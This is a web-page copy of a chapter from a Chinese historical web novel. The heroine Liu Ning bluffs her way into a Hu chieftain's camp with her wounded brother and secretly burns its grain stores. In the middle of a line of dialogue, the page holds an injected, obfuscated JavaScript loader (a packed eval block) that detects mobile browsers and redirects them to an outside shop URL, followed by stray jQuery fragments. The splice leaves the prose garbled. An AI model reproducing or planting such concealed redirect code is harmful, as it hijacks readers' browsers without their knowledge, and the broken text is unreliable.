默认冷灰
24号文字
方正启体

136. 御下(十一)假意周旋

作者:李安禹本书字数:K更新时间:
    刘宁并不知呼廷聊赞打的什么主意,反正只要她加快速度,呼廷聊赞便也加速,她减速慢下来,呼廷聊赞便也跟着减速,甩也甩不开。


    刘宁心里不免泛起嘀咕,若是呼廷聊赞要抓住她与七弟,直接派兵前来便可,


    虽未曾见到胡人的军队前来,但刘宁并不敢放松警惕。


    忽的,呼廷聊赞调转方向,拦住刘宁的马。


    急停之下,刘宁险些被甩飞。


    刘宁带着怒气,走下木排,径直走到呼廷聊赞马前,也不绕弯子,问道:“你是谁?”


    呼廷聊赞收住缰绳,跳下马,道:“我是住在这一片的猎户,我的鹰发现了你们,我便过来了。”


    听到呼廷聊赞谎称自己是猎户,刘宁面无表情地冷哼一声,她倒想看看呼廷聊赞在耍什么花招。


    呼廷聊赞道:“前面不能再走了!再往前走就到大江的地界了。”


    大江?


    闻言,刘宁眉头一挑,朝前望去。


    白茫茫一片,罕无人烟,什么也看不到,刘宁也分辨不出还要走多远才能到大江。


    说着,呼廷聊赞一把扯下覆面,靠在马腹,笑着歪头看向刘宁,肩上的鹰也歪头看向刘宁。


    刘宁眼睛睁圆,这脸,她似乎见过。


    方才闯入木屋的那胡人,似乎是这样的一张脸。


    都是深邃的眼窝,高耸的鼻梁,都是胡人的长相,但又总感觉……有哪里不一样。


    为着这几分的不确定,刘宁眉头压紧,眼珠上下转动,再度仔细地打量起呼廷聊赞。


    面前这人的身形看着并不似方才那个胡人那般宽厚,头发也只是随意拢在一起,窝在肩颈处,不像胡人那样扎满一头的小辫子。


    呼廷聊赞一挑眉,对上刘宁的眼睛,眼中颇有些挑衅的意味:“怎么?我的长相有问题?”


    刘宁呵笑一声,后退一步,看似漫不经心道:“看着眼熟。”


    呼廷聊赞笑笑,紧盯着刘宁那张脸:“我看着你也有几分面熟,总觉得像一位故人。”


    一时间,呼廷聊赞竟有些恍惚,不过半日未见,刘茂的妹妹,竟越看越像刘茂了,尤其是看他的眼神,淬了毒一样。


    刘宁冷眼看着呼廷聊赞,心中一顿冷笑,她刚见着萨丽娜尔的时候,萨丽娜尔也是这么说。


    胡人怎么都是一样的说辞?看见个大江的子民,就都觉得是所有人都长着同一张脸吗?


    就宛她看到胡人一样,除了能区别身形上的高矮胖瘦以外,竟都觉得她们长得都一样!


    呼廷聊赞低头一笑,避开刘宁的眼神,目光落在刘宁身后的木排上。


    呼廷聊赞偏头瞥了眼,注意到了木排上还有个包裹严实的人。


    想到木屋床上漏出的那几根手指,又扫了眼刘宁的装扮,看样子,他们是要逃走呢。


    值得她冒这么大的险前来,值得她冒雪也要将这人带回大江,想来这人便是他苦苦寻找的大江定北王刘昶吧。


    呼廷聊赞绕过刘宁,径直走向被裹得严严实实密不透风的刘昶。


    刘宁抬手阻拦,横跨一步挡在呼廷聊赞身前:“你做什么?”


    “即便是看着眼熟,你也无权动我的东西吧?”


    “看你的装扮,你是大江人吧?”呼廷聊赞脚步一停,抬手弹了下刘宁的发髻,轻笑一声。


    “那你可得躲好了,别被其他人发现了。”


    “毕竟,像我这么好心的人可不多了。”


    刘宁脸色一变,千算万算,竟忘了头上盘着的发髻!


    呼廷聊赞一手按住刘宁的胳膊,强行掀开盖在刘昶脸上的遮挡,确是刘昶。


    “他受伤了?”看着刘昶苍白的脸色,呼廷聊赞皱眉问道。


    “与你何干?”刘宁捏起拳头,一拳垂在呼廷聊赞胳膊上。


    呼廷聊赞吃痛,按着刘宁胳膊的手又加重了些力道,就连肩头蹲着的鹰,也朝刘宁面门啄去。


    刘宁飞快撒手,后撤一步,抽出木排上放着的长剑,摆好架势,与呼廷聊赞并他的鹰对峙。


    呼廷聊赞笑道:“一言不合就动手?火气别那么大啊!”


    刘宁依旧警惕地看着呼廷聊赞,生怕再拖下去,他的援军赶来,那便是羊入虎口。


    “哼,罢了罢了,我实在没必要与你计较。”刘宁收起剑,不再理会呼廷聊赞,掏出为马儿准备的草料,自顾自地喂起马来。


    呼廷聊赞眼珠一转,上前两三步,走到刘宁近前,抢过刘宁手中的草料,一边喂马一边道:“看样子他伤得不轻,若是再不医治,只怕无力回天啊!”


    在呼廷聊赞看来,活着的大江皇室,远比死了的要有用。


    刘宁眼也不抬,又将草料夺嘞回来,专注喂马:“这就不劳烦你费心了。”


    “不过话说,你们大江人,是怎么到我们的地盘上了?”呼廷聊赞笑嘻嘻问道,”要知道,前线可正打仗呢。”


    “莫非……你们是逃兵?”呼廷聊赞调侃道。


    “那你呢?两军交战之际,你不在军营为国效力,却在此清闲,莫非你也是逃兵?”刘宁当仁不让。


    呼廷聊赞一时有些语塞。他才随口编了个猎户的身份,其余的还未曾想好说辞呢。


    呼廷聊赞讪讪笑道:“说笑罢了。”


    呼廷聊赞又围着刘宁转了一圈,见刘宁不再理会,便道:“不如跟着我,回我的部落,我找来巫医为他医治?”


    刘宁来来回回扫了呼廷聊赞两眼,哼笑一声:“你当我傻吗?去了你的部落,你们人多势众,谁知是医治呢?还是将我们捆了去领赏啊?”


    呼廷聊赞意味深长笑道:“我若是想拿你们去领赏,何须等到现在?”


    刘宁细想一下,也是。


    更要紧的是,七弟至今昏迷,脸色也愈发的苍白,一天也拖不得。


    刘宁眼珠一转,笑道:“那便有劳了。”


    呼廷聊赞搓搓手,尬笑两声。他没想到竟会这般顺利,以为还要再周旋一阵。


    “跟着我走吧。”呼廷聊赞调转马头,横跨上马,末了,还意味深长地看了刘宁一眼。


    呼廷聊赞以为,刘茂与刘宁一母同胞,想来性情是一样的,一样的狡诈多谋。


    原以为会是个有趣的对手。


    没想到,他刘茂的同胞妹妹竟这般天真好骗,真是高看了她。


    望着越来越远的大江边境,刘宁暗暗为自己捏了一把汗。


    但愿,但愿七弟能早点醒来。


    直至茫茫的大地染上一层暗色,直至马儿筋疲力尽不再狂奔,总算是到了呼廷聊赞的部落。


    “到了。”呼廷聊赞走上前来,笑道:“路途遥远,路上又多颠簸,可还好?”


    路途遥远?刘宁忍不住腹诽,若是少绕几圈的话,只怕能到得更快一点呢。


    刘宁难得给出一个笑脸:“多谢多谢,若是能早日请到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274333|198163||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    巫医医治的话,只怕会更好呢。”


    天色很暗,火把稀稀拉拉地亮着晃动的光,看不清全貌。


    呼廷聊赞将刘宁、刘昶姐弟二人安顿在最近的一处营帐内,道:“如你所愿,我这就去请巫医。”


    目送着呼廷聊赞离开,刘宁忙去查看刘昶的状态,虽说身上凉了些,可还有微弱的鼻息,胸腔内也还有羸弱的跳动。


    刘宁整个人松懈下来,瘫坐在地上,怔怔地望着刘昶苍白的脸。


    她不知道自己这一步是否太过冒险,将自己与七弟都暴露在呼廷聊赞眼中。


    巫医很快就过来,五六个巫医将刘昶围了个圈,七嘴八舌地讨论着。


    刘宁一句也听不懂,但看得出他们一个个面色凝重,眉头紧锁,看来情况并不妙。


    跟来的呼廷聊赞眉头也跟着皱起来,若是刘昶没了,他的谋划也将落空。


    呼廷聊赞压着脾气,用着刘宁听不懂的胡语,冷脸道:”不论你们使什么法子,一定要救活他,要不然你们就同他一起死。“


    巫医们顿时变得战战兢兢。


    刘宁察觉到营帐内气氛有些紧张,小心翼翼出言问道:”巫医们说了什么?他还有救吗?”


    呼廷聊赞瞥了刘宁一眼,点点头:“能救。”


    巫医会诊完,便退下抓药。


    刘宁本还想再问些细节,谁料一个身披江朝甲胄的士兵走进来,凑到呼廷聊赞耳边低语几句。


    虽说穿着江朝的甲胄,可头盔下却是一张胡人的脸。


    刘宁心中不免一紧,但怕呼廷聊赞发现异样,只得端起碗温水,坐在床边,仔细地喂给刘昶。


    两人声音很低,又是刘宁听不懂的胡语,饶是刘宁再怎么竖起耳朵一丝不苟地听,也听不明白一个字。


    呼廷聊赞听过后,特意瞥了刘宁一眼,见刘宁正全神贯注地照料着刘昶,松了口气,跟着士兵退出了营帐。


    不多时,营帐外便传来一阵窸窸窣窣的盔甲碰撞声音,刘宁心中的不安愈发强烈。


    呼廷聊赞到底在策划什么?


    营帐内炭火烧得愈发旺盛,刘昶的手却愈发的凉。


    刘宁坐不住,当即背上弓箭,在营帐门口静静听了会儿,待外头安静后,方才掀起一条窄窄的缝隙。


    火把少了些。


    一片寂静。


    静得有些反常,静得能听到自己的心跳。


    既如此,那便添点儿乱吧。


    刘宁取来箭,扯下布条裹在肩头上,沾了些火苗,掀起营帐前厚重的门帘,挽弓搭箭,瞄向暗处。


    箭头上的火苗肆虐,只听得“嗖”一声,火光在暗中穿行,照亮了一片片的盔甲,最终落下。


    刘宁并不知道那支带火的箭最终会落在何处,箭离弦后便退回营帐内,将弓箭放回刘昶身下藏好。


    没一会儿的功夫,火势蔓延,外面顿时变得乱哄哄的。


    过了好一会儿,外面的乱才止住。


    呼廷聊赞黑着张脸,气呼呼地迈步进来。


    刘宁强压着快从喉咙里跳出来的一颗心,故作淡定,故作好奇,问道:“怎么了?可是……”


    说到此处,刘宁作出一副忧心的样子,捂着胸口不可置信道:“可是他……情况不妙?”


    呼廷聊赞见刘宁对外面的事一无所知,很是不甘地叹了口气,咬着牙道:“不知哪儿来的火,落在营帐上,烧了一大半攒着过冬的粮草。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)